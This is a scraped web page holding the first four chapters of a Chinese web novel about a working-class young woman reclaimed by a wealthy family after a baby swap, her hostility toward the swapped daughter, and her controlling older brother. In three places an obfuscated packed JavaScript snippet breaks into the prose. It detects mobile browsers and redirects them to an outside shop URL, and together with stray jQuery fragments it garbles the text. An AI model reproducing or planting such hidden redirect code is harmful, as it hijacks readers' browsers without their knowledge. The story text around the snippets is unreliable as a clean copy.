《你以为你是救世主吗?》 1. C01 《你以为你是救世主吗》 济扬/文 2025/07/28 晋江文学城原创首发 救世主01/ 隋遂是在医院的病床上醒过来的,天花板一片白,就像她此刻的脑袋一样。 好一会儿,身边传来声音。 “感觉怎么样?” 是她现在的哥哥——隋逾。 隋遂从小到大都很少进医院,太贵了。穷人家是不生病的,要么扛过去,要么扛不过去,生命天生属于大自然,任意来或者去。 她四岁之前所有的衣服都是继承哥哥林琦的,没有自己的衣服,没有上过幼儿园,六岁开始上小学,才终于有了自己的衣服——这也不是她自己要求的,而是林琦认为自己和隋遂在同一个小学,让其他小孩看到他们穿一样的衣服,林琦不愿意。 她动了动手指,整个胳膊还是麻木的。 隋遂想说话,但没发出声音,只好点了下头。 她转头,脖子同样僵硬,窗外一片绿茵地,不远处的长椅上坐着一个人,从隋遂的角度只能看到他的腿很长,头发也很长,戴着口罩完全罩住了他整张脸,只从眼底流出几分阴翳的影子。 对方没有料到她会突然转头,很快将自己的目光转开。 隋遂也回过头。 得到她的答案,隋逾说:“你好好休息,护工很快过来,有什么需要告诉护工。” 说完这句话,隋逾从房间走了出去。 隋遂盯着他高大挺拔的背影,病房只有她一个人,突然安静下来的房间让她内心没有着落。隋遂没有说话,继续躺着。天花板还是一片白,时间那么长那么静。 隋家是不喜欢她这个女儿的。隋遂从初中就没有怎么读书了,初中毕业考上了职高,职高毕业就开始上班,会突然被隋家认回去纯属意外。 在隋家生活了二十年的女儿隋珠得了遗传性疾病,可是隋家从来没有遗传病史。做了DNA检测,没有血缘关系。 隋总认为自己的血脉必须要认祖归宗,查了大半个月,寻到了线索,联系当年在同一个医院生孩子的林家人,终于找到了这个已经在烧烤店打工的隋遂。 头一次见面很尴尬,隋总有生以来四十多年都没进过这种不卫生的苍蝇馆子,见了隋遂,她头发全都用鲨鱼夹在脑后,一张脸上分不清是出汗还是厨房的关系,油光腻腻,他立时对这个女儿失去了寻找的喜悦和憧憬。 即使内心见到隋遂很不满意,到底还是带着她回到了家。 这是她回到隋家的第三个月。 三个月的时间,不管是隋总,隋逾的母亲曾夫人,还是隋逾本人,都对隋遂的行为非常不满。 这次进医院是因为她和林珠在楼道上争执,她原本想推林珠一把,没想到自己没站稳,反倒是让自己从楼梯上滚了下来。 林珠现在还住在隋家,因为曾夫人不忍心让她回到林家受苦,连带着林家也沾了光,隋家出钱给林家开了个超市,如今林建设和李秀梅都在管着超市,而林琦也进了隋家的分公司实习。 所有的事情,所有的人都在朝着好的方向发展。 ……除了她。 护工走了进来,一个戴着口罩的女性。她先给柜子上的花换了水,随后问:“隋小姐,您要喝水吗?” 隋遂嗯了一声,是气声,不知道到底睡了多久,说话都有些陌生感。 护工给她倒了水,又将床调整到合适的弧度,将水杯递给她。 隋遂握着水杯,头发顺着她的动作全部散下来,护工看不见她的表情,刚刚隋副总说她脾气不好,如果发火还要她多照顾。这笔酬劳实在丰厚,抵得上她平常两个月的收入,立刻就答应了这份工。 现在看起来隋小姐也没有那么可怕。这么想着,护工在内心松了一口气。 隋遂喝了口水。 护工想从她手中接过水杯,但是隋遂一直没有松手,反而越握越紧,护工一时有些棘手,怕她发脾气,还是放弃了从她手里拿过水杯,安静地站在一边。 隋遂整个人看起来阴沉沉的,没有笑容,护工小心翼翼站在她身边,忍不住开始脑袋里胡思乱想。 隋遂将水杯往她身上倾斜,病床的高度到护工的大腿,水就顺着护工的大腿流下去。 隋遂刚开口,声音不高:“你衣服湿了,去换衣服。” 女护工就这么目瞪口呆地看着自己的衣服湿了,刚开口:“隋小姐……” “出去!”声音明显比刚才更高了。 女护工还想说什么,待看到隋遂已经逐渐暴躁的脸色,又想起隋总的提醒,一颗心瞬间提起,什么话都不敢再说,只好走出去。 隋遂从床上站起身,她没有摔得很严重,只是脚踝还疼,走路一瘸一拐,病房在一楼,她站在窗口往外面看。 医院是私立,窗外大片的绿草地,刚刚坐在长椅上的人已经不见了,只留下被磨损了很久的长椅,已经有些昏暗的天气,马上就要下雨了。 隋遂感受着从窗外吹进来的风,纠缠着潮湿的空气,泥土的腥味,像是一场潮热的风寒。 身后突然传过来声音。 “你还好吗?” 甜美的,温柔的。如果是其他人,听到这个声音应该会觉得悦耳,可是听到隋遂耳朵里只觉得刺耳,像是巴普洛夫的狗,她的喉咙堵塞,胸口也有些喘不过气。隋遂回过头,果然看到了那个预料之中的人。 林珠是天生的白皮,又是从小都精致爱护过的模样,身上隐约透露出的从小就不差的条件产生的优越和骄矜气质,即使被她柔和的气质中和,也还是会在不经意之间透露出来。 可对于隋遂来说,即使轻微得不可察觉,即使只是不经意流露,却如鲠在喉,不可忽视。 她转回头:“你来干什么?” “阿姨身体不好在休息,我过来看看你。” 阿姨当然指的是她的生母曾夫人,记忆中少数的几次见面中,曾夫人一直忙于贵妇人的交际和各类晚宴拍卖会,精神头十足。 隋遂当然不相信林珠的话。 林珠已经把名字改回去了,她之前叫隋珠,意思是隋家的掌上明珠,现在回去也是林家的掌上明珠,林家认为是因为林珠,他们才会有现在的生活。 隋遂自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469796|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的名字很随意,她之前叫林随,随便的随,林家给她上户口的时候不知道给她取什么名字,就跟登记名字的人说随便,所以就有了她之前那个名字。 “我不觉得我们是需要相互关心的关系。”隋遂说,她的声音很僵硬,这已经是极力控制自己情绪的结果了,如果没有努力控制自己的情绪,现在说出口的话会出乎意料的恶毒。 隋遂从来没有想过自己是一个恶毒的人,在她从前的二十年,她都是这么认为的,但事情总是不如她所想的那么顺利。而她第一次见到林珠,同样没有对林珠的事情产生过什么情绪,连艳羡都没有。 上帝总是喜欢和人开玩笑。 隋遂第一次知道自己是隋家的孩子时候就这么想。 “我……”林珠说,“抱歉,我知道你是因为我……”她欲言又止,似乎是在斟酌到底应该怎么说才能让隋遂不介意。 “我会尽快搬出去的,妈……伯母只是一时间不能接受,但是时间长了她还是会接受的。” 这话听起来真像是安慰。 隋遂想。但她又想,她居然已经沦落到需要林珠来安慰自己了。果然是太落魄太可怜了么? 好像无论怎么样都很难避免自己成为可怜虫的样子。 “你随意。”隋遂冷笑了一声,自嘲居多。转头看见林珠还是那副欲言又止的模样,心头在瞬间就凝结出一阵怒火,无法遏制的想要发脾气。 垂在身侧的右手先是张开,很快合上,攥成一个拳头,随后再张开。 林珠:“学校那边今天我已经给你请过假了,等你养好身体再回去。” “……” “我……” “说完了吗?” 隋遂打断她接下来的那句话,如果不打断,林珠好像永远都有下一句话要说,隋遂不想听到这些话,正如此刻她很想要砸东西一样。 朝林珠倾泻自己的怒火已经是过去的事情了,现在她一点都不想这么干,只会让自己显得更可怜。 这不是隋遂的本意。 “说完了你可以回去交差了。” 隋遂手指指着门口的方向,只差把滚字挂在嘴上。 “随随……”林珠叹了口气,“抱歉,我知道我现在道歉也没有什么用,可能我现在说的这些话对你来说也很可笑,但是如果你有什么需要,都可以来找我。” “我现在只需要你从我眼前消失。” 林珠抿了抿唇,神色失落,“好,好,对不起。” 隋遂不懂她到底在道歉什么,道歉她曾经享受了那么多年的富家千金生活吗?还是其他? 林珠的背影纤细单薄,穿着的衣服仍旧是林家一年收入才能买得起一件的,姿态那么低落,似乎不能让她接受她的歉意真的让她很伤心,隋遂仍旧不能明白,她到底在道歉什么呢? 至于上学?隋遂一直都不是什么好学生,初中开始就没怎么学过知识,职高也是自己亲自考上的,现在所谓的上学只是因为隋家觉得她的学历太低实在是丢人,所以才给她买了个学历,拿个学位证说出去好听一点而已。 她一点都不想也不喜欢上学。 2. C02 你以为你是救世主吗 02/ “从小到大,你记忆中最痛苦的一件事是什么?” 面前的人是隋遂出院之后隋家给她找的心理医生,心理医生姓杜,是一个年轻男人,二十七八岁左右。长相清俊,被一双桃花眼破坏了这种清俊,多了几分不太令人信任的风流。 这是她的第三次面诊,杜余欢没有试图继续从她身上挖出更深的东西。即使隋遂认为这就已经是全部,没有更深的东西,她的人生就是这么浅显的一眼就能看得到全部,根本不值得深入探究。 “……没有最痛苦的事。”她这么说,“有很多痛苦的事情,但那些事情都随着时间的过去渐渐磨平,或者被一些细小的快乐和瞬间的幸福抵消。” 说完这段话她没有再开口,沉默着。 窗外是一片赤红橘黄氤氲的晚霞,十分鲜艳,以不可抵挡之势席卷而来。隋遂盯着那片晚霞很长时间,即使眼睛已经开始干涩都没有移开自己的视线。 杜余欢没有催促,等待了一会儿,见隋遂仍旧没有什么表情看向窗外,在钟表指向三点,告诉隋遂:“今天的诊断结束了。” 隋遂做出简单的应答,转身从门口走出去。 杜余欢还在房间里,看着隋遂的病例开始沉思。分析隋遂的行为动机很容易,分析隋遂的心理历程也不难,这次的诊断难度在于—— 他并没有能力改变和治疗隋遂。 或者可以采用另一种说法,隋遂不想要治疗。 隋遂身上所存在的一切情绪和那些行为可以说都是合理的,不管那些事情发生之后她有没有后悔,但在第一次见面的时候,隋遂就已经明确表示过了自己的选择——即使时间重来一次,还是会这么做。 她或许不完美,可这并不是她的病,她不想要改变。至于自信,勇气,安宁,幸福,那不是治疗能带给她的。 话语可以治病,但终究还是需要尊重个人的意愿,而隋遂没有这样的意愿。 略作收拾,杜余欢准备下班,正好接到了隋逾的电话。 “今天的面诊结束了?” “对。” “她人呢?” “刚走。” “嘀嘀嘀——” 电话挂了,杜余欢骂了一声,真是没礼貌,连声招呼都不打就挂电话。 - 隋遂是在坐上车之后接到了隋逾的电话,电话的内容很简略,隋逾让她今天晚上回家。 她已经从隋家搬出来,当然不是主动,她在家里不能主动做任何事情,不管是隋总还是曾夫人总会觉得她已经是隋家的一份子,认为她应该以隋家的声誉为主,她才刚被认回来,转头就自己搬出去,难道不是说明隋家亏待了她? 隋遂没有决定权,隋遂甚至没有因此产生过任何的想法。她只是很少再走出房间,除了一日三餐定时定点出现在餐厅,其他时间她都一个人待在房间里,不和人沟通,房间也安静得没有发出任何声音。连续一周,就连从将她接回来就没有跟她单独沟通过的隋总都发现了异常。 这期间林珠找过她一次,隋遂和她话不投机,敷衍地应付了一下,最后在她再次露出烦躁的表情,并且不耐烦的情绪之后,及时收住自己的话,神色失落地走开了。 曾夫人的表现更具有代表性,如果说隋总是因为工作太忙没有时间处理这件事情,而林珠是怕她真的出现问题最后怪到她头上,那曾夫人就明显露出了“我怎么会生出这样的女儿”的困惑和嫌弃,似乎这一切都是隋遂的问题。 隋遂听她以十分浓厚的本地腔调教训了她半个小时后,忍不住打了个哈欠。 这一举动严重触动了雷达,曾夫人先是从床上猛地站起身,直接让隋遂的哈欠停留在嘴巴张大的瞬间,眼眶有困意逼出的泪花。随后手指指着她的脸,猛然喘息了几下,最后满脸恨铁不成钢地指着她半天。 “你……你……真是无可救药!” 这就是贵妇人的教养,就算是生气到了一定程度,也不会把已经涌到嗓子眼的话吐出来。 但隋遂知道,曾夫人和隋总两个人是相亲结婚,那时候的隋总还不是现在的隋总,只是一个看起来有些前途的小子,而曾夫人家里条件也不好,家里四个孩子,前面两个哥哥一个姐姐都已经结婚了,她是最小的,从读书时候就想找个有前途的男人,好让自己脱离生活的痛苦。 如果这是一场赌博,她无疑是成功的,并且非常成功。从她的身上已经完全看不出她是遭受过贫困这把刀打磨的,不知情的人一定要以为她从小都是娇养长大,粗俗的话都不会从她口中说出,高贵得纤尘不染。 “你好自为之!” 最后她扔下这句话离开。 隋遂从她的背影中居然看到了几分落荒而逃的意味。 最后是隋逾拍板定了让她搬出去住。市中心的一套大平层,能看到城市中心最具有标志性的建筑。房子的位置离学校半小时路程,离隋家的公司更近,只有五分钟的路程,楼上就是隋逾的住所——这也是隋逾会让她从隋家搬出来的主要原因,他可以随时掌握她的行踪。 “知道了。” 隋遂说。刚答应下来,那头已经挂断了电话。 现在还早,隋遂晚上有课,但是她不打算去上课,不过为了装给隋逾看,她还是让司机将她送到了学校。 “晚上九点半过来接我。” “好的。” 隋遂从学校走进去,穿过环校院长廊,最后在一个凉亭停了下来。 远处是一片人工湖,湛蓝色湖面荡漾着湖边柳树的影子。她往湖边走了几步,围栏不高,隋遂盯着清澈见底的湖面发呆。 不记得自己想了什么,弯着腰手指触碰到湖面的一瞬间,凉意浸透指尖,身体的感受还没有传到神经末梢,身后传来一声惊呼: “——小心!” 转过头是一张被焦急神色填满的脸,清晰地只映着她一个人的黑色瞳孔好像有很多话要说,隋遂怔住,没有动作的瞬间被他拉着往后退,脑袋没有什么反应,脚像是软体动物的四肢,被迫挪动了位置。拖动的动作不轻柔,她的手腕传来一阵酸痛。 眼熟的鸭舌帽,口罩遮住了大半张脸,如果不是他的行为是在帮她,隋遂会以为面前的人是什么变态杀人魔也不一定,作为一个受过完整义务教育的普通公民,看到这样的可疑人士,她应该报警。 “你……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469797|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你心情不好吗?” 他的声音不如他的动作果决,犹豫着,压低了许多,但仍旧能听出清越的声线。 “没有。” 隋遂回过神,盯着他拽着自己手腕的手指。 “那……你刚刚……那个……” “你打算什么时候放开我?” “啊呀!”他骤然松手,又是一阵道歉,“对不起对不起对不起。” “我那个,多管闲事了。”沉默了下,他说,后附上两声“哈哈”的干笑。 隋遂转身准备走,他又跟上来,“刚刚真的不好意思,我太着急了,所以就……” “今天也算是缘分,我们认识一下,你是这个学校的学生吗?好巧!我也……” “闭嘴!”隋遂皱着眉停下,“我不想认识你。” “那个……是因为刚才我……真的对不起,我怕你不小心掉下去所以太着急了……我没有坏心思的,我就是……” 隋遂抬头,再次对上他的眼睛,心烦意乱,不知道他到底哪里有那么多话好说。 眼前的人被帽子口罩遮住后,只有一双眼睛露出来,黑色的瞳孔很漂亮,圆润的,泛着光的,像是小时候哥哥玩的弹珠里最漂亮的那种,或者比那更漂亮。 隋遂很少会和人对视,她习惯躲避,隐藏,人天生就有这种能力。何况就算她毛遂自荐,挺身而出,见义勇为,往往也只是徒劳无功,弄巧成拙,徒增笑料。 所以看着他的眼睛,隋遂皱着眉,胸口有几分烦躁,她不想被面前的人打扰她的安静,为什么就连陌生人都想要要求她做事情?! 她简直想用恶毒的话来攻击他,让他知道她根本就不想认识他!真是一个自作多情的笨蛋!为什么会想认识她?!怎么可能会有人想认识她! “你好烦。”她说,“离我远点。” 果然这样是有效果的,这个人眼中的笑意收起来了,表情僵住了,整个人像是被一把巨大的锤子从头顶往下用力敲打,将他钉在了这里,钉头都被锤烂了,再也拔不出来,只好无力又可怜地站在原地。 隋遂转身往前走了几步,停下,心里一阵不爽,都是因为他,明明现在他也没有跟上来了,她还是不舒服。 隋遂停下来,踌躇不决。 身后的人好像感受到了她的犹豫,于是再次开口:“我打扰你了吗?” 他的声音依旧平静,虽然听得出些许颤音。 他没有脾气吗?隋遂不满地想,她回过头,“没有。” “我没有恶意。” “我知道。” “那个……我其实是这个学校的学生,本来这节课有课,但是不想上课,就过来这边逛逛,正好碰到你……”他又笑起来,挠了挠后脖颈,像是自己把自己从刚刚钉得牢牢的地里拔出来了一样,居然行动自如地重新走到了她身边,很殷切诚恳的样子,“你如果有什么不开心的事情,可以跟我说说。” “不需要。” “我叫李浥尘,渭城朝雨浥轻尘那首诗里的字,你知道这首诗吗?这是我妈最喜欢的诗,所以她用了这首诗给我取了名字……” 他可真烦人。 她果然应该直接走掉。 3. C03 你以为你是救世主吗 03/ “我到现在还不知道你的名字呢。”跟着她好一会儿,李浥尘说。 或许是太无聊了,隋遂没有再像之前一样拒绝李浥尘,但也没有搭理他,只是随他跟着自己,很偶尔才会回应一句。 时间已经快到九点十分,隋遂说:“我要走了。” 李浥尘还想再问,最后咽下了嘴边的问题,变成了一句简单的回答。 “好。” 一个奇怪的人。 隋遂不认为自己的长相会让人一见如故。她不是大众脸,当然也不是惊艳的长相,之前蜡黄粗糙的皮肤在最近饮食清淡规律的调理下,已经清透了不少,不至于突然变成白皮,是普通的小麦色。 她的眼睛略长,上挑,和隋总的眼睛一模一样,这也是隋总第一次见她即使觉得她看起来落魄穷酸,却没有质疑过她不可能是自己孩子的原因。 鼻子挺拔,嘴唇略薄。是看起来就不太好惹的长相。 她这个人也是这样。 初中时候因为住校,同班一个同学总是怀疑她偷东西,偷的东西也很搞笑,梳子,袜子,卫生巾等等这些没多值钱的生活用品,为此班主任特意找她谈话了一次——因为几个室友都怀疑是她偷的。 道理同样可笑。因为她最穷。 穷是原罪。 她的生命那时就像是一道影子,比纸张更薄,更透,阳光穿过她,比穿过空气更容易。 一览无余的生活,因为这样的意外产生波折,令人窒息与痛苦。 谈话结束,晚自修结束后,她冲进寝室的厕所,端起装着卫生纸卫生巾的垃圾篓,通通倒在几个室友的床上。 一场战争瞬间爆发,她一直都是在家里干活的人,力气也比她们大,就算是她们七个人,在她的手下也没有落得多少好处。是隔壁寝室的同学叫来了宿管,才把她们几个人拉开,事后给她们几个人集体打散放到了其他有空床位的寝室里。 隋遂自此出名。自然不是什么好的名声,一个人能打得了学校的其他人,也没有人会想要欢迎她。 她不是愿意吃亏的人,至少那时候是这样。 怨恨,怒气,委屈,她的心里有太多的不明白,不理解,不甘心,让她不能平静和缓地对待任何事情。 后来职高出来毕业,就再没有了这些情绪。 就像炊烟,即使顺着烟囱攀上屋顶,也很快消散掉。 - 隋遂快到校门口,已经看到了隋逾的车。他不是个高调的人,大部分情况下都是一辆黑色宾利,她坐上车。 隋逾戴着一副金丝眼镜,淡声吩咐:“去老宅。” 隋遂转头看向窗外,没有和隋逾打招呼。 她对隋逾这个将她完全掌控的人没有任何好感,更让她感到郁闷的是她没有能力跟他叫板,因为现在她所有的生活都是来自隋家。 “学校最近的生活怎么样?” “还好。” “有没有什么不适应的?” “还好。” “和同学关系怎么样?” “还好。” “专业还喜欢吗?” “还好。” “……” 隋逾停下了手里的动作,看向隋遂的表情冷凝,审视的目光让隋遂感到身体瞬间寒毛竖起。隋逾的目光在她身上停留了一会儿,最后转回头,不再和她说话。 在隋遂第一次踏入隋家的门,隋遂从出生到成年之后所有的资料都放在了隋家人的桌上。 隋遂没有什么朋友,小时候到长大,从来没有太要好的朋友,按说她现在是隋家的千金,应该会有人贴上来和她套近乎,但也许是她曾经给人留下的印象实在是太深刻,或者说认为隋遂即使被认回隋家也毫无用处。 隋家不需要隋遂去交朋友或者联姻,或者说,与其让隋遂去联姻弄巧成拙,不如让从小长在隋家的林珠去。 没有一个和隋家一样的人家会愿意要一个从小就生活在贫民窟的女孩,即使是配给旁支的表系。 快到老宅,隋遂的心像是被一只无形的大手瞬间握住,力道不断加重,她的呼吸也变得很重,眉头无意识皱起,掌心凝出薄汗。 她终于开口:“今天回来有什么事?” 隋逾没有直接回答:“你是隋家的孩子。” 这话听着真让人讨厌。 隋遂果然不再开口。 “你不想回家?” 隋遂矢口否认:“没有。” 看得出她在嘴硬,隋逾没有戳穿,他不置可否,淡淡道:“你是隋家的孩子。” 隋遂没有再吭声。 她有时候真的很想朝隋逾大吼大叫,因为他的行为好像她是个拎不清的小孩,所以他容忍她。她知道如果她那么做,隋逾只会更加觉得她幼稚。 这一切都让隋遂感到痛苦。 夜晚天气微冷,恒温的车内温度让隋遂下车瞬间打了个冷颤。她身上只穿着一件白色短袖,下面是一条紧身牛仔裤。不是她不想打扮,从出院之后隋逾就限制了她的化妆自由,隋逾不需要说为什么,只从隋逾的表情就能看出来他的行为原因——掉价。 身后袭来一阵暖意,是隋逾将自己的外套披在了她的身上,紧接着是隋逾的下一句话。 “秋装明天会送到。” 日理万机的隋逾才注意到已经微凉的天气隋遂还是穿着夏天的衣服。 “……”沉默了好一会儿,隋遂最后道,“谢谢。” “有什么需要联系于静。” “好。” 于静是隋逾的秘书,从隋逾进入隋氏就跟着他,到现在已经有八年。 隋逾正值而立,家中对他在工作上的一切都很满意,如今公司他已经全面接手,只剩下成家这一件事情让隋总和曾夫人操心。 今天这局同样是相亲宴。 走进老宅,室内一片和谐景象。曾夫人正亲热地拉着一个模样温婉可人的女子聊天,林珠坐在曾夫人的身边,乖巧地附和曾夫人的话。 在家里已经工作了三十年的周婶说:“小隋总回来了。” 隋总是个聪明人,以前政策抓的严,他怕家里遭祸,一直说周婶是家里的亲戚,让周婶别喊少爷,在隋逾小时候一直是喊小名,成年之后称呼变成了“小隋总”。 这一声成功让客厅的笑声停下,几个人同时看向玄关处,待看到隋遂也一起回来,曾夫人的笑容僵硬在脸上。 隋逾微微点头算作打招呼。 曾夫人修养很不错,很快整理好了自己的心情,看向身边那个温婉的千金时候已经重新扬起真诚的笑意,“这就是我家那个让我操碎了心的儿子,公司的事儿倒是不用我操心,就是这儿女的事儿,我这每天都愁。你可是不知道,他从小到大都没带一个女朋友回来过。” 曾夫人的话很有意思,那千金脸上漾起笑意果然更真挚的几分。有工作能力还洁身自好的男人不多,何况隋逾的事情她来之前就已经听父亲说过。 “隋逾,这是你郑叔的女儿,前段时间才从Y国读书回来。” 隋逾点头:“你好。” 郑芯媛微笑:“你好,隋师兄可能不知道,现在学校那边还留着师兄的传说呢。” 隋逾不欲深聊,带上隋遂说:“这是我妹妹,前段时间才回来。” 关于隋遂的事情,郑芯媛自然是有所耳闻,但来这儿之前她认为隋遂不过是一个丑小鸭,即使明白了自己的身世,可真正有没有被族群承认还有待考察。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469798|201415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隋逾的表现让郑芯媛出乎意料。 郑芯媛对待隋遂的态度多了些慎重:“你好,我是郑芯媛。” 隋遂先看向隋逾,隋逾目光也在她的脸上,目光交错,隋遂注意到隋逾的许可,转头接触到曾夫人和林珠的表情,如出一辙的僵硬。 “你好。” 隋遂说完也不多说。她情绪有太多的起伏,这一切都不是她想接触的,像是一个被丢进宴会的小丑,她舒服的生存地是马戏团,却被命运捉弄搞成现在这个样子,实在不是她的本意。 “我先带她上去了。” “……” 隋逾扫了隋遂一眼,隋遂被迫和他一起上楼。 行至楼梯拐角处,隋逾脚步微顿,“天色不早,郑小姐回家不方便,让陈叔送一程吧。” 曾夫人没有发挥的余地这一切就已经结束,林珠看向隋遂,表情略有思索,更多的是惊讶,目光在隋遂和隋逾之间不断扫视,最后在隋遂抬头的瞬间移开自己的目光。 真是让人奇怪的事情。 隋逾居然重视这个便宜妹妹,这是林珠完全没有想过的事情。 这份惊讶不作假。隋逾从初中开始就在国外读书,之后几乎很少会国内,林珠和这个哥哥关系并不好,后来回国,大部分时间也不住在家里,两个人的聊天次数都很少。 隋遂还是不知道隋逾到底要求自己回家干什么,跟着隋逾走进了书房,隋逾打开保险柜,最上面一排是珠宝,他放在桌上,推在她眼前。 “挑几个喜欢的,明天要用。” 隋遂抬头看向他,不明白他的用意是什么。 “明天有个宴会,你和我出席。”隋逾言简意赅,“这是你作为隋家主人第一次亮相,我会让于静提前带你去选衣服,你到时候准时到。” 隋遂问:“林珠呢?” 隋逾目光不动,似乎她问的这个问题很可笑。 隋家是看重血脉的人家,看隋总即使内心不满也要认回隋遂也就知道了。 林珠已经不姓隋,她可以享受隋家的照顾,但是绝对不可能得到隋家的其他。 隋逾即使什么都没有说,从他的表情里也可以读出一切。 有时候隋遂觉得自己很愚钝,这些所谓的计较她总是要想很久才能想明白,或许她本身不适合生活在隋家,如果可以,她更愿意当一个被隋家照顾的清闲散人,从隋逾手里随便漏出来点东西都已经是她原本一辈子都赚不到的了。 隋逾的表现却不是这样,他好像也很清楚她在想什么,所以才会有今天这一出。 隋逾是一个很有耐心的人,但不体现在这件事情上。见隋遂很长时间不动作,他就自行替隋遂做了决定。 “你今天可以不带我回来的。” 她这么说,“这一切你决定就好。” “隋遂,你是隋家的女儿,你不能抗拒这一点。” “我没想抗拒。” “嗯哼?”隋逾居然笑了,他自来是一个很少笑的人,对待隋遂和对待下属一样严肃,此时此刻他像是看着一个小孩闹脾气一样笑了。 隋遂很郁闷,她从来没有觉得自己在抗拒,她想得很清楚,她只是想到自己会在宴会上丢人,所以不愿意去参加宴会而已,这件事情明明有其他的解决办法,为什么一定要自己去参加宴会?隋家的公司一定是隋逾的,她能得到的不过是一些边角料,上赶着当笑料的事情隋遂不觉得自己一定要做。 隋逾:“你是隋家的孩子。” “我知道。”隋遂说,“你已经不止一次说过这句话了。” 她的眼睛对上隋逾和她一模一样的眼睛。 同样漆黑,同样狭长。 “笨蛋。” 他嘴角噙着笑意,这话听起来居然像宠溺。 4. C04 你以为你是救世主吗 04/ 隋遂打了冷颤。 躺在被窝里翻了个身,将自己裹得更紧了一些。 过了一会儿,脑海中还是翻滚着各种各样的情绪,从床上坐起来,走到客厅去给自己倒了杯水。 隋逾的那句话到底是什么意思,隋遂到现在都想不明白。他的笑容却像是电影动图一样在脑海中不断播放,无法平静,无法忘记。 晚上隋逾带着自己下楼,隋逾对曾夫人说:“明天晚上的宴会我会带随随过去。” 隋遂这个名字是隋逾取的,没有沿用之前名字里的“随”,遂这个字,隋遂不知道隋逾在取的时候是因为什么。她好奇过,但没有问过。 隋总将她带回隋家之后,隋逾就正式接手了她的一切,从她的衣食住行,到她的上学和学其他的技能——隋逾还给她报了礼仪课和口才课。 隋遂十课九逃,当作没这回事。 此刻曾夫人皱眉,想说什么,最终只是嗯了一声。 “明天宴会要用的东西准备好了吗?” “我让于静准备。” “于静工作上精通,这些事情却有欠缺,明天我让小月去那边。” 既然她愿意帮忙,隋逾也没拒绝,应了一声,转头说:“妈,今天的事儿,我不希望有下一次,家里人也不少,不熟的人在家里那么晚到底不方便。” 曾夫人睫毛颤抖,第一次被儿子用这样的语气说,心头一痛,还强撑着体面,“你的事情,我怎么好不上心?” “我有打算,你不用操心,基金会的事妈要多上心。” “……知道了。”曾夫人叹了口气,惆怅难当。 她第一胎就生了隋逾,隋逾是个省心的孩子,完全不需要她操心,从初中就在国外读书,虽然管家保姆和生活上都没有什么太大的问题,可年少离家,和她少了太多培养感情的时间。回国后也不见亲近。 那时候有林珠,她心里还算熨帖,至少还有一个孩子在身边,也不孤独。 林珠居然不是自己的孩子,这件事情打击最大的就是曾夫人了。她当然知道自己更应该和隋遂拉近关系,可是隋遂那个样子,她好话也说了,恶语同样说尽,无论如何隋遂也无动于衷。她和这个孩子本应该是最亲近的人,如今却是最陌生的人。 她能怎么办?疏远林珠吗?林珠也是个可怜的无辜孩子,她能怎么做? 丈夫长时间不在家里,她也是需要人陪着的,一直都是林珠在自己身边,她不是个坚强的人,还是屈服于自己的需要。 “你……明天去了好好听着就是。” “好。” “走了。” 曾夫人又问:“不住?” “明天上班,那边方便点。” 隋遂当然是要跟着走的。 - 喝过水,隋遂睡不着,索性坐在窗边看着外面,已经过了十二点,灯光如昼,隋遂裹着一个毯子,躺着不知道什么时候睡过去。 第二天是被敲门声吵醒的。 隋遂耳朵连着喉咙都感觉很痛,眼睛没睁开,揉了揉头发,没有在身边摸到手机,眼睛睁开,才发现自己睡在客厅的贵妃榻上,走到卧室去找手机,才发现手机已经关机了。 她先去门口开门,是于静带着几个品牌的人过来送衣服,这些衣服都是隋氏参股,每个季度都会定时送衣服给隋家,但隋遂回来的时间不过三个月,隋家没有人想起来要提前告知品牌方。 如今几个人推着好几推车的衣服从门口走进来,身后跟着收纳师将衣物按照隋遂的日常生活习惯将衣服收纳进衣帽间。 隋遂先去房间洗漱,等洗漱结束,收纳师还在整理,她穿着衣服去冰箱翻了一会儿,没找到什么可以吃的东西。 于静不愧是当助理的人,见此立刻说:“隋总提前给隋小姐准备的早餐。” 这不过是场面话。事实上隋氏日常有合作的酒店,于静发消息五分钟之后,就有人送餐过来。 隋遂吃过饭,昨天曾夫人说过的小月也到了,先是在衣帽间挑挑拣拣了半小时,终于找到了满意的衣服搭配昨天的珠宝,拿给隋遂换上,绕着她转了两圈,直看的隋遂紧张到脚趾都要蜷缩起来。 小月终于让她脱下来身上的衣服,递给身后的几个小助理,低头吩咐了几句,小助理很快带着衣服闪人。 小月转身,捏着她的下巴开始审视。 隋遂本身很高,她初三就已经长到了165,高中长得少,现在身高也有170。她坐在客厅的沙发上,原本空无一物的茶几上摆满了化妆品。隋遂自己会化妆,只是技术不好,后来隋逾嫌弃过一次,也是这次失去了化妆自由。 